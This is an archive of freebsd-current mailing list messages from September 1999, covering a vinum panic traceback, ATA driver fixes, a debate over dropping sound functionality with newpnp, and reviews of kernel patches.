	Mon, 27 Sep 1999 13:06:29 -0400 (EDT)
Received: from concours.pc.sas.com by mozart (5.65c/SAS/Domains/5-6-90)
	id AA04981; Mon, 27 Sep 1999 13:05:59 -0400
Received: (from sasblc@localhost)
	by concours.pc.sas.com (8.9.3/8.8.8) id NAA43302;
	Mon, 27 Sep 1999 13:05:35 -0400 (EDT)
	(envelope-from sasblc)
From: Brad Chisholm <sasblc@unx.sas.com>
Message-Id: <199909271705.NAA43302@concours.pc.sas.com>
Subject: Re: System crash on "vinum start"
In-Reply-To: <19990925104024.B54407@freebie.lemis.com> from Greg Lehey at "Sep 25, 1999 10:40:24 am"
To: grog@lemis.com (Greg Lehey)
Date: Mon, 27 Sep 1999 13:05:35 -0400 (EDT)
Cc: sasblc@unx.sas.com (Brad Chisholm), freebsd-current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> > I'm having a problem where the "vinum start" command crashes my system.
> > This happens regardless of whether it's being issued during bootup via
> > /etc/rc or from the command line on a running system.
> >
> > Interestingly, however, if I issue the start command from the vinum
> > interactive prompt, it works properly with no crash.
> >
> > I'm currently running on a snap built this morning (0924), but it was
> > also happening on a snap from 0914.
> >
> > Crash info, vinum config, and disk info are below.  Let me know if I
> > can provide any additional information.
> 
> Yes.  Please read the instructions in vinum(4) about debugging panic
> dumps.
> 
> I found a minor bug in 'vinum start' recently, but I doubt it's
> causing your problem.  I'll commit it Real Soon Now.
> 

Well, I believe I discovered the source of my problem.  It turns out that 
I did not have the correct devices configured in /dev for the component 
drives.  I had da[0-3]e, but not da[0-3]s1e.  The documentation seemed to
indicate that the da?s1? devices were not required, but once I made them,
the crashes stopped.

It's interesting that I could bring the array up using the 'start'
command from the vinum interactive prompt, and things would work
properly with the missing devices, while issuing a direct 'vinum
start' would cause a panic.

Even though this may have been a stupid user error, it would be nice
if vinum could catch this without a system crash.  To that end, I'm
including an updated traceback from my panic dump which has the vinum
calls included.

Thanks for providing such a useful piece of software!

-Brad

-- Crash dump traceback --

(kgdb) bt
#0  boot (howto=0x100) at ../../kern/kern_shutdown.c:281
#1  0xc0169e80 in poweroff_wait (junk=0xc02fd44f, howto=0xc8af7180) at ../../kern/kern_shutdown.c:531
#2  0xc0272269 in trap_fatal (frame=0xc94f4b70, eva=0x48) at ../../i386/i386/trap.c:907
#3  0xc0271f41 in trap_pfault (frame=0xc94f4b70, usermode=0x0, eva=0x48) at ../../i386/i386/trap.c:800
#4  0xc0271beb in trap (frame={tf_fs = 0x10, tf_es = 0x10, tf_ds = 0x10, tf_edi = 0x0, tf_esi = 0x200, 
      tf_ebp = 0xc94f4be0, tf_isp = 0xc94f4b9c, tf_ebx = 0x0, tf_edx = 0x0, tf_ecx = 0x8, tf_eax = 0x0, 
      tf_trapno = 0xc, tf_err = 0x0, tf_eip = 0xc018b64b, tf_cs = 0x8, tf_eflags = 0x10246, tf_esp = 0xc94f4c50, 
      tf_ss = 0x200}) at ../../i386/i386/trap.c:426
#5  0xc018b64b in getblk (vp=0x0, blkno=0x8, size=0x1000, slpflag=0x0, slptimeo=0x0) at ../../kern/vfs_bio.c:2109
#6  0xc018995a in bread (vp=0x0, blkno=0x8, size=0x1000, cred=0x0, bpp=0xc94f4c50) at ../../kern/vfs_bio.c:477
#7  0xc0d65fcf in read_drive (drive=0xc0e28800, buf=0xc0e29000, length=0x20000, offset=0x1200)
    at /usr/src/sys/modules/vinum/../../dev/vinum/vinumio.c:284
#8  0xc0d67072 in vinum_scandisk (devicename=0xc0d70b04, drives=0x5)
    at /usr/src/sys/modules/vinum/../../dev/vinum/vinumio.c:959
#9  0xc0d64e6d in parse_config (cptr=0xc0d59000 "read", keyset=0xc0d709d0, update=0x0)
    at /usr/src/sys/modules/vinum/../../dev/vinum/vinumconfig.c:1514
#10 0xc0d64ec7 in parse_user_config (cptr=0xc0d59000 "read", keyset=0xc0d709d0)
    at /usr/src/sys/modules/vinum/../../dev/vinum/vinumconfig.c:1557
#11 0xc0d6af94 in vinumioctl (dev=0xc0d56480, cmd=0xc4004640, data=0xc0d59000 "read", flag=0x3, p=0xc8af7180)
    at /usr/src/sys/modules/vinum/../../dev/vinum/vinumioctl.c:110
#12 0xc019dc47 in spec_ioctl (ap=0xc94f4e08) at ../../miscfs/specfs/spec_vnops.c:513
#13 0xc019d4bd in spec_vnoperate (ap=0xc94f4e08) at ../../miscfs/specfs/spec_vnops.c:124
#14 0xc023ef09 in ufs_vnoperatespec (ap=0xc94f4e08) at ../../ufs/ufs/ufs_vnops.c:2313
#15 0xc0197f20 in vn_ioctl (fp=0xc0d29100, com=0xc4004640, data=0xc0d59000 "read", p=0xc8af7180) at vnode_if.h:395
#16 0xc0176fcb in ioctl (p=0xc8af7180, uap=0xc94f4f80) at ../../sys/file.h:166
#17 0xc02724a6 in syscall (frame={tf_fs = 0x2f, tf_es = 0x2f, tf_ds = 0x2f, tf_edi = 0x5, tf_esi = 0xbfbfc808, 
      tf_ebp = 0xbfbfcc08, tf_isp = 0xc94f4fd4, tf_ebx = 0x5, tf_edx = 0x808cc25, tf_ecx = 0xbfbfc839, tf_eax = 0x36, 
      tf_trapno = 0xc, tf_err = 0x2, tf_eip = 0x806bc0c, tf_cs = 0x1f, tf_eflags = 0x246, tf_esp = 0xbfbfc7e8, 
      tf_ss = 0x2f}) at ../../i386/i386/trap.c:1056
#18 0xc02654c6 in Xint0x80_syscall ()
#19 0x804cbc7 in ?? ()
#20 0x8048492 in ?? ()
#21 0x80482fd in ?? ()
#22 0x80480e9 in ?? ()


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 10:12: 4 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail-out.visi.com (kauket.visi.com [209.98.98.22])
	by hub.freebsd.org (Postfix) with ESMTP id E772F1540D
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 10:12:01 -0700 (PDT)
	(envelope-from jstock@visi.com)
Received: from isis.visi.com (isis.visi.com [209.98.98.8])
	by mail-out.visi.com (Postfix) with ESMTP
	id 6658B36F6; Mon, 27 Sep 1999 12:11:58 -0500 (CDT)
Received: from localhost (jstock@localhost)
	by isis.visi.com (8.8.8/8.8.8) with ESMTP id MAA24948;
	Mon, 27 Sep 1999 12:11:58 -0500 (CDT)
X-Authentication-Warning: isis.visi.com: jstock owned process doing -bs
Date: Mon, 27 Sep 1999 12:11:58 -0500 (CDT)
From: "Jeremy L. Stock" <jstock@visi.com>
To: Soren Schmidt <sos@freebsd.dk>
Cc: current@FreeBSD.ORG
Subject: Re: ATA Driver Problem
In-Reply-To: <199909271703.TAA17019@freebsd.dk>
Message-ID: <Pine.GSO.4.10.9909271210280.24847-100000@isis.visi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: QUOTED-PRINTABLE
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Mon, 27 Sep 1999, Soren Schmidt wrote:

>It seems Jeremy L. Stock wrote:
>>>Are you sure you have the latest versions of everything in /sys/dev/ata =
??
>>>There was a window of opportunity where I messed up unless ATA_STATIC_ID
>>>was defined...
>>>
>>>-S=F8ren
>>>
>>
>>Fairly positive I have the latest versions. I cvsup'ed twice yesterday. I
>>forgot to mention my motherboard is an ASUS P5-AB if it matters at all. =
=20
>
>Check that you have at least v1.25 of ata-disk.c.
>BTW here it works on the same motherboard...
>
>-S=F8ren
>

 $FreeBSD: src/sys/dev/ata/ata-disk.c,v 1.28 1999/09/25 18:23:45 phk Exp $

Anything else I should look at?



--=20
Jeremy L. Stock=09=09=09=09=09<jstock@visi.com>
ICQ 46329337
Fax # 612-629-6540=20



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 10:40:57 1999
Delivered-To: freebsd-current@freebsd.org
Received: from assurance.rstcorp.com (assurance.rstcorp.com [216.112.242.2])
	by hub.freebsd.org (Postfix) with ESMTP id DB21B156E6
	for <freebsd-current@FreeBSD.ORG>; Mon, 27 Sep 1999 10:40:17 -0700 (PDT)
	(envelope-from vshah@rstcorp.com)
Received: (from uucp@localhost)
	by assurance.rstcorp.com (8.8.8/8.8.8) id NAA04481;
	Mon, 27 Sep 1999 13:40:48 -0400
Received: from proxy.rstcorp.com(216.112.242.5) by assurance.rstcorp.com via smap (V2.0)
	id xma004467; Mon, 27 Sep 99 17:39:52 GMT
Received: from jabberwock.rstcorp.com (jabberwock.rstcorp.com [192.168.2.98])
	by sandbox.rstcorp.com (8.8.8/8.8.8) with ESMTP id NAA29551;
	Mon, 27 Sep 1999 13:38:30 -0400 (EDT)
Received: (from vshah@localhost)
	by jabberwock.rstcorp.com (8.9.3/8.9.3) id NAA07534;
	Mon, 27 Sep 1999 13:39:19 -0400 (EDT)
	(envelope-from vshah@rstcorp.com)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Message-ID: <14319.43975.22710.612106@jabberwock.rstcorp.com>
Date: Mon, 27 Sep 1999 13:39:19 -0400 (EDT)
From: "Viren R. Shah" <viren@rstcorp.com>
To: Soren Schmidt <sos@freebsd.dk>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: ata driver question..
In-Reply-To: <199909261629.SAA06885@freebsd.dk>
References: <14318.18280.328557.304232@jabberwock.rstcorp.com>
	<199909261629.SAA06885@freebsd.dk>
X-Mailer: VM 6.72 under 19.16 "Lille" XEmacs Lucid
Reply-To: "Viren R. Shah" <viren@rstcorp.com>
X-Face: )~y+U*K:yzjz{q<5lzpI_SVef'U.])9g[C9`1N@]u3,MHY7f*l7C)[_NjM4y4K8$uIUh|\u
 (K&&HS6,M!61&GMTk'mqmB/Qg]]X}"?TzsFl]"2v!bl8']dma.:^IY^a[lbOI>U:b<~FyK3q-p{HmZ
 mn~g.`~BE!5{2D:}Yi+\_KkWe?XaHj9$ko1k8iKLYv5*_2c8"G=?Up[}hn+7RNM(bzBZ_wWk6!Pf&B
 ?3Tcm7M7B~W%K/I0aX3]*=jP?aM]H6HBPT`oLk+0n^_;N\2\%|Rhy;p}34Q.jEsM\qtnxcm;ag%Nq
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

>>>>> "Soren" =3D=3D Soren Schmidt <sos@freebsd.dk> writes:

 Soren> It seems Viren R. Shah wrote:
 >>=20
 >> I made world and build a new kernel on Friday the 24th, and later t=
hat
 >> evening, I got these:
 >>=20
 >> Sep 24 18:00:33 jabberwock /kernel: ata0-master: ad_timeout: lost d=
isk contact - resetting
 >> Sep 24 18:00:33 jabberwock /kernel: ata0: resetting devices .. done=


 Soren> Be sure you have the latest, I fixed a couble of bugs in the ti=
meout
 Soren> code on friday, you shoudl have versions:

That turned out to be the problem -- I cvsupped at an inconvenient
time.  Thanks.

 Soren> -S=F8ren

Note to self: cvsup and rebuild world before posting to -current.

Viren=20
--=20
Viren R. Shah      | "For oft, when on my couch I lie
viren@rstcorp.com  |  In vacant or in pensive mood,=20
Research Associate |  They flash upon that inward eye=20
RST Inc.           |  Which is the bliss of solitude;" --WW


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 11:34: 5 1999
Delivered-To: freebsd-current@freebsd.org
Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228])
	by hub.freebsd.org (Postfix) with ESMTP id 39D9C14CC3
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 11:34:02 -0700 (PDT)
	(envelope-from jkh@zippy.cdrom.com)
Received: from localhost (localhost [127.0.0.1])
	by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id LAA19982;
	Mon, 27 Sep 1999 11:32:33 -0700 (PDT)
	(envelope-from jkh@zippy.cdrom.com)
To: dmaddox@conterra.com
Cc: Ollivier Robert <roberto@keltia.freenix.fr>, current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp 
In-reply-to: Your message of "Sun, 26 Sep 1999 13:05:46 EDT."
             <19990926130546.A548@dmaddox.conterra.com> 
Date: Mon, 27 Sep 1999 11:32:33 -0700
Message-ID: <19978.938457153@localhost>
From: "Jordan K. Hubbard" <jkh@zippy.cdrom.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> I'm just suggesting here that it would be nice if the authors of
> this code would make it _equally functional_ to what was removed.
> It's not nice to remove functionality unconditionally and then
> provide no replacement at all...

That work is underway, and something to understand about -current
is that it doesn't have to actually work at all times during the
interim periods between releases.  Now, should 4.0 be on the horizon
and the situation still be one where "equivalent functionality"
has not been provided by the newpcm driver, we'll revert back to
the original luigi driver and continue the experiment in the new
post-branch (5.0) current.

- Jordan


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 11:54:39 1999
Delivered-To: freebsd-current@freebsd.org
Received: from rover.village.org (rover.village.org [204.144.255.49])
	by hub.freebsd.org (Postfix) with ESMTP id 893871579B
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 11:54:25 -0700 (PDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (harmony.village.org [10.0.0.6])
	by rover.village.org (8.9.3/8.9.3) with ESMTP id MAA26083;
	Mon, 27 Sep 1999 12:54:24 -0600 (MDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id MAA11609; Mon, 27 Sep 1999 12:55:24 -0600 (MDT)
Message-Id: <199909271855.MAA11609@harmony.village.org>
To: Doug Rabson <dfr@nlsystems.com>
Subject: Re: New PnP code does not work for me(?) 
Cc: "Donald J . Maddox" <dmaddox@conterra.com>, current@FreeBSD.ORG
In-reply-to: Your message of "Mon, 27 Sep 1999 10:35:46 BST."
		<Pine.BSF.4.10.9909271035070.322-100000@salmon.nlsystems.com> 
References: <Pine.BSF.4.10.9909271035070.322-100000@salmon.nlsystems.com>  
Date: Mon, 27 Sep 1999 12:55:24 -0600
From: Warner Losh <imp@village.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In message <Pine.BSF.4.10.9909271035070.322-100000@salmon.nlsystems.com> Doug Rabson writes:
:      	case 0x31008c0e: /* CTL0031 */
:      	case 0x41008c0e: /* CTL0041 */
:      	case 0x42008c0e: /* CTL0042 */
: +    	case 0x44008c0e: /* CTL0044 */
:      	case 0x45008c0e: /* CTL0045 */

What is CTL0043?  Seems like a logical progression to me :-)

Warner


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 11:55:27 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4])
	by hub.freebsd.org (Postfix) with ESMTP id 2BC6615474
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 11:55:21 -0700 (PDT)
	(envelope-from freebsd@gndrsh.dnsmgr.net)
Received: (from freebsd@localhost)
	by gndrsh.dnsmgr.net (8.9.3/8.9.3) id LAA12927;
	Mon, 27 Sep 1999 11:53:31 -0700 (PDT)
	(envelope-from freebsd)
From: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Message-Id: <199909271853.LAA12927@gndrsh.dnsmgr.net>
Subject: Re: Loss of Functionality with newpnp
In-Reply-To: <19978.938457153@localhost> from "Jordan K. Hubbard" at "Sep 27, 1999 11:32:33 am"
To: jkh@zippy.cdrom.com (Jordan K. Hubbard)
Date: Mon, 27 Sep 1999 11:53:30 -0700 (PDT)
Cc: dmaddox@conterra.com,
	roberto@keltia.freenix.fr (Ollivier Robert), current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> > I'm just suggesting here that it would be nice if the authors of
> > this code would make it _equally functional_ to what was removed.
> > It's not nice to remove functionality unconditionally and then
> > provide no replacement at all...
> 
> That work is underway, and something to understand about -current
> is that it doesn't have to actually work at all times during the
> interim periods between releases.  Now, should 4.0 be on the horizon
> and the situation still be one where "equivalent functionality"
> has not been provided by the newpcm driver, we'll revert back to
> the original luigi driver and continue the experiment in the new
> post-branch (5.0) current.

If that was only true.  Or should I ask why didn't CAM from -3.3 get
reverted to the old scsi code before 3.3 was released.  I have seen
no less than 2, and perhaps 3 people try to get cards that did work
under pre-CAM 3.x working under post-CAM 3.x.  I know this is a slippery
slope, but it invalidates your above assertion that we revert back
at release when functionality has been lost due to new code.

I also know that we are a lot better off with CAM, and could care less
that the old ancient AIC drivers are dead, but some how I am also pretty
sure we won't be reverting back on newpcm, even if some old sound cards
don't work.  It'll take the same arguement path that CAM did.  ``This
is so much better, someone is working on getting that done, etc, etc..''


-- 
Rod Grimes - KD7CAX - (RWG25)                    rgrimes@gndrsh.dnsmgr.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 12:15:22 1999
Delivered-To: freebsd-current@freebsd.org
Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228])
	by hub.freebsd.org (Postfix) with ESMTP id 4ED0D14FA2
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 12:15:19 -0700 (PDT)
	(envelope-from jkh@zippy.cdrom.com)
Received: from localhost (localhost [127.0.0.1])
	by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id MAA20262;
	Mon, 27 Sep 1999 12:14:18 -0700 (PDT)
	(envelope-from jkh@zippy.cdrom.com)
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: jkh@zippy.cdrom.com (Jordan K. Hubbard), dmaddox@conterra.com,
	roberto@keltia.freenix.fr (Ollivier Robert), current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp 
In-reply-to: Your message of "Mon, 27 Sep 1999 11:53:30 PDT."
             <199909271853.LAA12927@gndrsh.dnsmgr.net> 
Date: Mon, 27 Sep 1999 12:14:18 -0700
Message-ID: <20258.938459658@localhost>
From: "Jordan K. Hubbard" <jkh@zippy.cdrom.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> If that was only true.  Or should I ask why didn't CAM from -3.3 get
> reverted to the old scsi code before 3.3 was released.  I have seen
> no less than 2, and perhaps 3 people try to get cards that did work
> under pre-CAM 3.x working under post-CAM 3.x.  I know this is a slippery
> slope, but it invalidates your above assertion that we revert back
> at release when functionality has been lost due to new code.

No, it doesn't invalidate it in any way shape or form.  I said that in
this specific case, and you're free to read my message as many times
as you wish but you'll not find anything saying I was speaking for
anything BUT the newpcm driver here, the new stuff would be reverted
if need be.  CAM was a rather different situation since it was one of
those painful-but-necessary trade-offs we had to accept both the pros
and the cons for.  The a.out -> ELF transition was painful too, and
I'm sure there were a few ports which broke and/or older commercial
software packages which became harder to use as a result, but you
won't hear anyone talking about going back to a.out for just that
reason.

Each situation is different and there are NO hard-and-fast rules about
when it does and does not make sense to accept the loss of certain
functionality in exchange for new functionality.  To even assume
that such a rule would be practical would be like saying that life
itself always fits into neat, well-compartmentalized little boxes. :)

- Jordan


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 12:23:36 1999
Delivered-To: freebsd-current@freebsd.org
Received: from smtp.mweb.co.za (quantum.mweb.co.za [196.2.16.241])
	by hub.freebsd.org (Postfix) with ESMTP id 403D114FA2
	for <freebsd-current@freebsd.org>; Mon, 27 Sep 1999 12:23:20 -0700 (PDT)
	(envelope-from radyx@mweb.co.za)
Received: from vic-dial-196-30-232-205.mweb.co.za ([196.30.232.205] helo=radyx)
	by smtp.mweb.co.za with smtp (Exim 3.02 #2)
	id 11VgIx-0002NQ-00
	for freebsd-current@FreeBSD.ORG; Mon, 27 Sep 1999 21:19:20 +0200
From: "RaDyX" <radyx@mweb.co.za>
To: <freebsd-current@FreeBSD.ORG>
Subject: 
Date: Mon, 27 Sep 1999 21:19:38 +0200
Message-ID: <000b01bf091d$e4635580$0200000a@za.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Importance: Normal
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

auth fdfda9f6 unsubscribe freebsd-current radyx@mweb.co.za
auth 8a3cc747 unsubscribe cvs-all radyx@mweb.co.za



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 12:41:21 1999
Delivered-To: freebsd-current@freebsd.org
Received: from uni4nn.gn.iaf.nl (osmium.gn.iaf.nl [193.67.144.12])
	by hub.freebsd.org (Postfix) with ESMTP
	id AF81D154D5; Mon, 27 Sep 1999 12:41:12 -0700 (PDT)
	(envelope-from wilko@yedi.iaf.nl)
Received: from yedi.iaf.nl (uucp@localhost)
	  by uni4nn.gn.iaf.nl (8.9.2/8.9.2) with UUCP id VAA13809;
	  Mon, 27 Sep 1999 21:35:50 +0200 (MET DST)
Received: (from wilko@localhost)
	by yedi.iaf.nl (8.9.3/8.9.3) id VAA02619;
	Mon, 27 Sep 1999 21:03:34 +0200 (CEST)
	(envelope-from wilko)
From: Wilko Bulte <wilko@yedi.iaf.nl>
Message-Id: <199909271903.VAA02619@yedi.iaf.nl>
Subject: Re: On hub.freebsd.org refusing to talk to dialups
In-Reply-To: <19990927003613.8A530156E5@hub.freebsd.org> from "Jonathan M. Bresler" at "Sep 26, 1999  5:36:13 pm"
To: jmb@hub.freebsd.org (Jonathan M. Bresler)
Date: Mon, 27 Sep 1999 21:03:34 +0200 (CEST)
Cc: Kurt@OpenLDAP.Org, current@FreeBSD.ORG
X-Organisation: Private FreeBSD site - Arnhem, The Netherlands
X-pgp-info: PGP public key at 'finger wilko@freefall.freebsd.org'
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

As Jonathan M. Bresler wrote ...
> 
> stopping chat on the tech lists is an open research project ;)

Very much so. It will most likely require GenuineIntelligence
(as opposed to AI or the organic, carbon based variant we all know too
well ;-)

GenuineIntelligence is not scheduled for release for another millenium or
two.

> jmb

;-)

-- 
|   / o / /  _  	 Arnhem, The Netherlands	- Powered by FreeBSD -
|/|/ / / /( (_) Bulte 	 WWW  : http://www.tcja.nl 	http://www.freebsd.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 12:44:57 1999
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131])
	by hub.freebsd.org (Postfix) with ESMTP id EC6C2154D5
	for <current@freebsd.org>; Mon, 27 Sep 1999 12:44:53 -0700 (PDT)
	(envelope-from phk@critter.freebsd.dk)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id VAA22218
	for <current@freebsd.org>; Mon, 27 Sep 1999 21:44:36 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: current@freebsd.org
Subject: Another tty related patch for review/test
From: Poul-Henning Kamp <phk@freebsd.org>
Date: Mon, 27 Sep 1999 21:44:36 +0200
Message-ID: <22216.938461476@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


http://phk.freebsd.dk/tty

--
Poul-Henning Kamp             FreeBSD coreteam member
phk@FreeBSD.ORG               "Real hackers run -current on their laptop."
FreeBSD -- It will take a long time before progress goes too far!


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 12:44:58 1999
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131])
	by hub.freebsd.org (Postfix) with ESMTP id A507615389
	for <current@freebsd.org>; Mon, 27 Sep 1999 12:44:46 -0700 (PDT)
	(envelope-from phk@critter.freebsd.dk)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id VAA22218
	for <current@freebsd.org>; Mon, 27 Sep 1999 21:44:36 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: current@freebsd.org
Subject: Another tty related patch for review/test
From: Poul-Henning Kamp <phk@freebsd.org>
Date: Mon, 27 Sep 1999 21:44:36 +0200
Message-ID: <22216.938461476@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


http://phk.freebsd.dk/tty

--
Poul-Henning Kamp             FreeBSD coreteam member
phk@FreeBSD.ORG               "Real hackers run -current on their laptop."
FreeBSD -- It will take a long time before progress goes too far!


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 13:13:24 1999
Delivered-To: freebsd-current@freebsd.org
Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252])
	by hub.freebsd.org (Postfix) with ESMTP id 0DC691565E
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 13:12:35 -0700 (PDT)
	(envelope-from roberto@keltia.freenix.fr)
Received: (from uucp@localhost)
	by frmug.org (8.9.3/frmug-2.5/nospam) with UUCP id WAA15806
	for current@FreeBSD.ORG; Mon, 27 Sep 1999 22:12:34 +0200 (CEST)
	(envelope-from roberto@keltia.freenix.fr)
Received: by keltia.freenix.fr (Postfix, from userid 101)
	id 785478711; Mon, 27 Sep 1999 21:27:29 +0200 (CEST)
Date: Mon, 27 Sep 1999 21:27:29 +0200
From: Ollivier Robert <roberto@keltia.freenix.fr>
To: current@FreeBSD.ORG
Subject: Re: EGCS, or EGCS?
Message-ID: <19990927212729.A35565@keltia.freenix.fr>
Mail-Followup-To: current@FreeBSD.ORG
References: <19990926233442.3238A1CC2@overcee.netplex.com.au> <99Sep27.155226est.40355@border.alcanet.com.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.0pre2i
In-Reply-To: <99Sep27.155226est.40355@border.alcanet.com.au>
X-Operating-System: FreeBSD 4.0-CURRENT/ELF AMD-K6/200 & 2x PPro/200 SMP
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

According to Peter Jeremy:
> That's the way I remembered things.  What threw me is that I currently
> have two _different_ gcc directories, both claiming to be EGCS 1.1.2,
> and both being updated.

The main reason is that we don't lose history with the directory change. At
first we had contrib/gcc, then it moved into contrib/egcs then back to
contrib/gcc. By importing egcs on top of 2.7.2.3 in contrib/gcc we have a
clear line going from gcc to egcs to gcc in one place.

As soon as 2.95.1 gets imported, contrib/egcs will disappear.
-- 
Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr
FreeBSD keltia.freenix.fr 4.0-CURRENT #74: Thu Sep  9 00:20:51 CEST 1999



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 13:22:55 1999
Delivered-To: freebsd-current@freebsd.org
Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38])
	by hub.freebsd.org (Postfix) with ESMTP
	id EDC32152E0; Mon, 27 Sep 1999 13:22:51 -0700 (PDT)
	(envelope-from julian@whistle.com)
Received: from current1.whistle.com (current1.whistle.com [207.76.205.22])
	by alpo.whistle.com (8.9.1a/8.9.1) with SMTP id NAA31612;
	Mon, 27 Sep 1999 13:22:50 -0700 (PDT)
Date: Mon, 27 Sep 1999 13:22:49 -0700 (PDT)
From: Julian Elischer <julian@whistle.com>
To: Poul-Henning Kamp <phk@FreeBSD.ORG>
Cc: current@FreeBSD.ORG
Subject: Re: Another tty related patch for review/test
In-Reply-To: <22216.938461476@critter.freebsd.dk>
Message-ID: <Pine.BSF.3.95.990927130011.9659A-100000@current1.whistle.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I was concerned about the extra checks by devices that 
have control devices. But a quick sample of drivers indicates that
the test for si_tty != NULL catches those. I haven't done an exhaustive
test, but it looks like these changes are functionally equivalent to old
code assuming that si_tty is corrently preset for all these devices, and
NULL for all control devices. (It appears that this is the case.)

You have my ok on it..


On Mon, 27 Sep 1999, Poul-Henning Kamp wrote:

> 
> http://phk.freebsd.dk/tty
> 
> --
> Poul-Henning Kamp             FreeBSD coreteam member
